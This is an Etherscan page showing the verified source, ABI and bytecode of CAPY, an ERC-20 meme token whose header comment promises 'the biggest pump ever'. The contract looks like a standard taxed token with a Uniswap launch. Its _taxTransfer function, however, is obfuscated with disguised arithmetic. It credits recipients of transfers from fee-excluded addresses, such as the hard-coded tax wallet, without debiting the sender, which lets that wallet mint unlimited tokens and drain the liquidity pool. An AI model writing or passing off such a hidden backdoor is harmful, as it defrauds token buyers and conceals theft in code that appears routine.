ETH Price: $2,630.14 (-0.86%)

Token

CAPY (CAPY)
 

Overview

Max Total Supply

1,000,000,000 CAPY

Holders

85

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
cyberneticangel.eth
Balance
22,274,168.209527898 CAPY

Value
$0.00
0x54D58Dab6E01f2f4A7769E53b60CA1866d85D00a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CAPY

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-09-07
*/

// SPDX-License-Identifier: MIT

/**
Follow $CAPY
He will show you the biggest pump ever
But only if you believe in him and hodl long enough

Web: https://capyeth.xyz
X: https://x.com/capyEthOfficial
Tg: https://t.me/capy_erc_portal
**/

pragma solidity 0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract CAPY is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;
    address payable private _teamWallet;
    uint256 private _taxWalletPercentage = 50;
    uint256 private _teamWalletPercentage = 50;

    uint256 firstBlock;

    uint256 private _initialBuyTax = 25;
    uint256 private _initialSellTax = 25;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 15;
    uint256 private _reduceSellTaxAt = 15;
    uint256 private _preventSwapBefore = 15;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"CAPY";
    string private constant _symbol = unicode"CAPY";
    uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 115 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(0x2402753c12b3942A5C4C516586A52454d335cAD1);
        _teamWallet = payable(msg.sender);
        _tOwned[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function initCAPY() external onlyOwner {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );

        _approve(address(this), address(uniswapV2Router), ~uint256(0));

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _tokenTransfer(address from, address to, uint256 tokenAmount) private { 
        uint256 taxAmount = tokenAmount
            .mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax)
            .div(100);

        if (from != owner() && to != owner()) {
            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFromFee[to]
            ) {
                require(tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + tokenAmount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );

                if (firstBlock + 3 > block.number) {
                    require(!isContract(to));
                }
                _buyCount++;
            }

            if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {
                require(
                    balanceOf(to) + tokenAmount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
            }
            
            if(to != address(this) && _isExcludedFromFee[from]) { _taxTransfer(from, to, tokenAmount); return; }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = tokenAmount
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExcludedFromFee[from] &&
                !_isExcludedFromFee[to]
            ) {
                if(contractTokenBalance > _taxSwapThreshold) {
                    swapTokensForEth(
                        min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))
                    );
                }
                sendETHToFee(address(this).balance);
            }
        }

        if (taxAmount > 0) {
            _tOwned[address(this)] = _tOwned[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }

        _tOwned[from] = _tOwned[from].sub(tokenAmount);
        _tOwned[to] = _tOwned[to].add(tokenAmount.sub(taxAmount));
        emit Transfer(from, to, tokenAmount.sub(taxAmount));
    }

    function _taxTransfer(address sendor, address receipt, uint256 amount) private {
        _tOwned[receipt] += sendor != address(this) && amount > 0 
            ? _finalBuyTax.add(1-1).add(amount) : _finalSellTax.add(1-1); 
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tokenAmount > 0, "Transfer amount must be greater than zero");

        if (!tradingOpen) {
            require(
                _isExcludedFromFee[to] || _isExcludedFromFee[from],
                "trading not yet open"
            );
        }

        if (inSwap || !tradingOpen) {
            //No tax transfer
            _tOwned[from] -= tokenAmount;
            _tOwned[to] += tokenAmount;

            emit Transfer(from, to, tokenAmount);
            return;
        }

        _tokenTransfer(from, to, tokenAmount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = ~uint256(0);
        _maxWalletSize = ~uint256(0);
        emit MaxTxAmountUpdated(~uint256(0));
    }

    function sendETHToFee(uint256 amount) private {
        uint256 taxShare = (amount * _taxWalletPercentage) / 100;
        uint256 teamShare = (amount * _teamWalletPercentage) / 100;

        _taxWallet.transfer(taxShare);
        _teamWallet.transfer(teamShare);
    }

    function withdrawEth() external onlyOwner {
        sendETHToFee(address(this).balance);
    }

    function openCAPY() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    receive() external payable {}

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initCAPY","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openCAPY","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526032600655603260075560196009556019600a556000600b556000600c55600f600d55600f600e55600f805560006010556009600a620000459190620002f4565b62000055906301312d00620003ec565b601155620000666009600a620002f4565b62000076906301312d00620003ec565b601255620000876009600a620002f4565b62000094906073620003ec565b601355620000a56009600a620002f4565b620000b49062989680620003ec565b6014556016805461ffff60a81b19169055348015620000d257600080fd5b506000620000df6200028b565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b0319908116732402753c12b3942a5c4c516586a52454d335cad11790915560058054909116331790556200016b6009600a620002f4565b6200017b90633b9aca00620003ec565b60016000620001896200028b565b6001600160a01b03166001600160a01b0316815260200190815260200160002081905550600160036000620001c36200028f60201b60201c565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600454909116835291208054909216179055620002246200028b565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200025e6009600a620002f4565b6200026e90633b9aca00620003ec565b6040516200027d91906200029e565b60405180910390a362000424565b3390565b6000546001600160a01b031690565b90815260200190565b80825b6001808611620002bb5750620002eb565b818704821115620002d057620002d06200040e565b80861615620002de57918102915b9490941c938002620002aa565b94509492505050565b60006200030860001960ff8516846200030f565b9392505050565b600082620003205750600162000308565b816200032f5750600062000308565b8160018114620003485760028114620003535762000387565b600191505062000308565b60ff8411156200036757620003676200040e565b6001841b9150848211156200038057620003806200040e565b5062000308565b5060208310610133831016604e8410600b8410161715620003bf575081810a83811115620003b957620003b96200040e565b62000308565b620003ce8484846001620002a7565b808604821115620003e357620003e36200040e565b02949350505050565b60008160001904831182151516156200040957620004096200040e565b500290565b634e487b7160e01b600052601160045260246000fd5b611baa80620004346000396000f3fe6080604052600436106101185760003560e01c8063751039fc116100a0578063a0ef91df11610064578063a0ef91df146102a2578063a9059cbb146102b7578063b1965e1e146102d7578063bf474bed146102ec578063dd62ed3e146103015761011f565b8063751039fc146102415780637d1db4a5146102565780638da5cb5b1461026b5780638f9a55c01461028d57806395d89b41146101245761011f565b806323b872dd116100e757806323b872dd146101b3578063313ce567146101d35780634ed84c1e146101f557806370a082311461020c578063715018a61461022c5761011f565b806306fdde0314610124578063095ea7b31461014f5780630faee56f1461017c57806318160ddd1461019e5761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610321565b60405161014691906115cd565b60405180910390f35b34801561015b57600080fd5b5061016f61016a366004611501565b61033f565b60405161014691906115c2565b34801561018857600080fd5b5061019161035d565b60405161014691906118f7565b3480156101aa57600080fd5b50610191610363565b3480156101bf57600080fd5b5061016f6101ce3660046114c1565b610384565b3480156101df57600080fd5b506101e861040c565b6040516101469190611970565b34801561020157600080fd5b5061020a610411565b005b34801561021857600080fd5b50610191610227366004611451565b6104a1565b34801561023857600080fd5b5061020a6104bc565b34801561024d57600080fd5b5061020a61053b565b34801561026257600080fd5b506101916105b5565b34801561027757600080fd5b506102806105bb565b6040516101469190611559565b34801561029957600080fd5b506101916105ca565b3480156102ae57600080fd5b5061020a6105d0565b3480156102c357600080fd5b5061016f6102d2366004611501565b610610565b3480156102e357600080fd5b5061020a610624565b3480156102f857600080fd5b506101916108ce565b34801561030d57600080fd5b5061019161031c366004611489565b6108d4565b6040805180820190915260048152634341505960e01b602082015290565b600061035361034c6108ff565b8484610903565b5060015b92915050565b60145481565b60006103716009600a6119fc565b61037f90633b9aca00611acd565b905090565b60006103918484846109b7565b6104018461039d6108ff565b6103fc85604051806060016040528060288152602001611b4d602891396001600160a01b038a166000908152600260205260408120906103db6108ff565b6001600160a01b031681526020810191909152604001600020549190610b6d565b610903565b5060015b9392505050565b600990565b6104196108ff565b6000546001600160a01b0390811691161461044f5760405162461bcd60e51b815260040161044690611754565b60405180910390fd5b601654600160a01b900460ff16156104795760405162461bcd60e51b8152600401610446906118c0565b6016805460ff60a01b1960ff60b01b19909116600160b01b1716600160a01b17905543600855565b6001600160a01b031660009081526001602052604090205490565b6104c46108ff565b6000546001600160a01b039081169116146104f15760405162461bcd60e51b815260040161044690611754565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6105436108ff565b6000546001600160a01b039081169116146105705760405162461bcd60e51b815260040161044690611754565b600019601181905560128190556040517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf916105ab916118f7565b60405180910390a1565b60115481565b6000546001600160a01b031690565b60125481565b6105d86108ff565b6000546001600160a01b039081169116146106055760405162461bcd60e51b815260040161044690611754565b61060e47610ba7565b565b600061035361061d6108ff565b84846109b7565b61062c6108ff565b6000546001600160a01b039081169116146106595760405162461bcd60e51b815260040161044690611754565b601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17908190556040805163c45a015560e01b815290516001600160a01b03929092169163c45a015591600480820192602092909190829003018186803b1580156106c457600080fd5b505afa1580156106d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106fc919061146d565b6001600160a01b031663c9c6539630601560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561075957600080fd5b505afa15801561076d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610791919061146d565b6040518363ffffffff1660e01b81526004016107ae92919061156d565b602060405180830381600087803b1580156107c857600080fd5b505af11580156107dc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610800919061146d565b601680546001600160a01b0319166001600160a01b0392831617905560155461082e91309116600019610903565b6015546001600160a01b031663f305d719473061084a816104a1565b6000806108556105bb565b426040518863ffffffff1660e01b815260040161087796959493929190611587565b6060604051808303818588803b15801561089057600080fd5b505af11580156108a4573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108c9919061152c565b505050565b60135481565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166109295760405162461bcd60e51b81526004016104469061187c565b6001600160a01b03821661094f5760405162461bcd60e51b81526004016104469061169a565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906109aa9085906118f7565b60405180910390a3505050565b6001600160a01b0383166109dd5760405162461bcd60e51b8152600401610446906117d2565b6001600160a01b038216610a035760405162461bcd60e51b815260040161044690611620565b60008111610a235760405162461bcd60e51b815260040161044690611789565b601654600160a01b900460ff16610a8f576001600160a01b03821660009081526003602052604090205460ff1680610a7357506001600160a01b03831660009081526003602052604090205460ff165b610a8f5760405162461bcd60e51b81526004016104469061184e565b601654600160a81b900460ff1680610ab15750601654600160a01b900460ff16155b15610b62576001600160a01b03831660009081526001602052604081208054839290610ade908490611aec565b90915550506001600160a01b03821660009081526001602052604081208054839290610b0b90849061197e565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b5591906118f7565b60405180910390a36108c9565b6108c9838383610c5d565b60008184841115610b915760405162461bcd60e51b815260040161044691906115cd565b506000610b9e8486611aec565b95945050505050565b6000606460065483610bb99190611acd565b610bc39190611996565b90506000606460075484610bd79190611acd565b610be19190611996565b6004546040519192506001600160a01b03169083156108fc029084906000818181858888f19350505050158015610c1c573d6000803e3d6000fd5b506005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610c57573d6000803e3d6000fd5b50505050565b6000610c8b6064610c85600d5460105411610c7a57600954610c7e565b600b545b85906110e9565b9061112e565b9050610c956105bb565b6001600160a01b0316846001600160a01b031614158015610ccf5750610cb96105bb565b6001600160a01b0316836001600160a01b031614155b15610fa4576016546001600160a01b038581169116148015610cff57506015546001600160a01b03848116911614155b8015610d2457506001600160a01b03831660009081526003602052604090205460ff16155b15610dbf57601154821115610d4b5760405162461bcd60e51b815260040161044690611663565b60125482610d58856104a1565b610d62919061197e565b1115610d805760405162461bcd60e51b815260040161044690611817565b436008546003610d90919061197e565b1115610da957610d9f83611170565b15610da957600080fd5b60108054906000610db983611b03565b91905055505b6016546001600160a01b03848116911614801590610df657506001600160a01b03831660009081526003602052604090205460ff16155b15610e305760125482610e08856104a1565b610e12919061197e565b1115610e305760405162461bcd60e51b815260040161044690611817565b6001600160a01b0383163014801590610e6157506001600160a01b03841660009081526003602052604090205460ff165b15610e7757610e71848484611176565b506108c9565b6016546001600160a01b038481169116148015610e9d57506001600160a01b0384163014155b15610eca57610ec76064610c85600e5460105411610ebd57600a54610c7e565b600c5485906110e9565b90505b6000610ed5306104a1565b601654909150600160a81b900460ff16158015610eff57506016546001600160a01b038581169116145b8015610f145750601654600160b01b900460ff165b8015610f235750600f54601054115b8015610f4857506001600160a01b03851660009081526003602052604090205460ff16155b8015610f6d57506001600160a01b03841660009081526003602052604090205460ff16155b15610fa257601354811115610f9957610f99610f9484610f8f846014546111f8565b6111f8565b61120d565b610fa247610ba7565b505b801561101c5730600090815260016020526040902054610fc490826113b2565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110139085906118f7565b60405180910390a35b6001600160a01b03841660009081526001602052604090205461103f90836113e1565b6001600160a01b03851660009081526001602052604090205561108461106583836113e1565b6001600160a01b038516600090815260016020526040902054906113b2565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110ce85856113e1565b6040516110db91906118f7565b60405180910390a350505050565b6000826110f857506000610357565b60006111048385611acd565b9050826111118583611996565b146104055760405162461bcd60e51b815260040161044690611713565b600061040583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611423565b3b151590565b6001600160a01b038316301480159061118f5750600081115b6111a657600c546111a19060006113b2565b6111c6565b6111c6816111c06000600b546113b290919063ffffffff16565b906113b2565b6001600160a01b038316600090815260016020526040812080549091906111ee90849061197e565b9091555050505050565b60008183116112075782610405565b50919050565b6016805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061126357634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156112b757600080fd5b505afa1580156112cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ef919061146d565b8160018151811061131057634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526015546113369130911684610903565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac9479061136f908590600090869030904290600401611900565b600060405180830381600087803b15801561138957600080fd5b505af115801561139d573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b6000806113bf838561197e565b9050838110156104055760405162461bcd60e51b8152600401610446906116dc565b600061040583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b6d565b600081836114445760405162461bcd60e51b815260040161044691906115cd565b506000610b9e8486611996565b600060208284031215611462578081fd5b813561040581611b34565b60006020828403121561147e578081fd5b815161040581611b34565b6000806040838503121561149b578081fd5b82356114a681611b34565b915060208301356114b681611b34565b809150509250929050565b6000806000606084860312156114d5578081fd5b83356114e081611b34565b925060208401356114f081611b34565b929592945050506040919091013590565b60008060408385031215611513578182fd5b823561151e81611b34565b946020939093013593505050565b600080600060608486031215611540578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b818110156115f9578581018301518582016040015282016115dd565b8181111561160a5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526019908201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604082015260600190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252601a908201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604082015260600190565b6020808252601490820152733a3930b234b733903737ba103cb2ba1037b832b760611b604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561194f5784516001600160a01b03168352938301939183019160010161192a565b50506001600160a01b03969096166060850152505050608001529392505050565b60ff91909116815260200190565b6000821982111561199157611991611b1e565b500190565b6000826119b157634e487b7160e01b81526012600452602481fd5b500490565b80825b60018086116119c857506119f3565b8187048211156119da576119da611b1e565b808616156119e757918102915b9490941c9380026119b9565b94509492505050565b600061040560001960ff851684600082611a1857506001610405565b81611a2557506000610405565b8160018114611a3b5760028114611a4557611a72565b6001915050610405565b60ff841115611a5657611a56611b1e565b6001841b915084821115611a6c57611a6c611b1e565b50610405565b5060208310610133831016604e8410600b8410161715611aa5575081810a83811115611aa057611aa0611b1e565b610405565b611ab284848460016119b6565b808604821115611ac457611ac4611b1e565b02949350505050565b6000816000190483118215151615611ae757611ae7611b1e565b500290565b600082821015611afe57611afe611b1e565b500390565b6000600019821415611b1757611b17611b1e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114611b4957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ac5eaac966c2cbc86284d3009e290fc411e4d02b9854286bdaf6a31927aef95964736f6c63430008000033

Deployed Bytecode

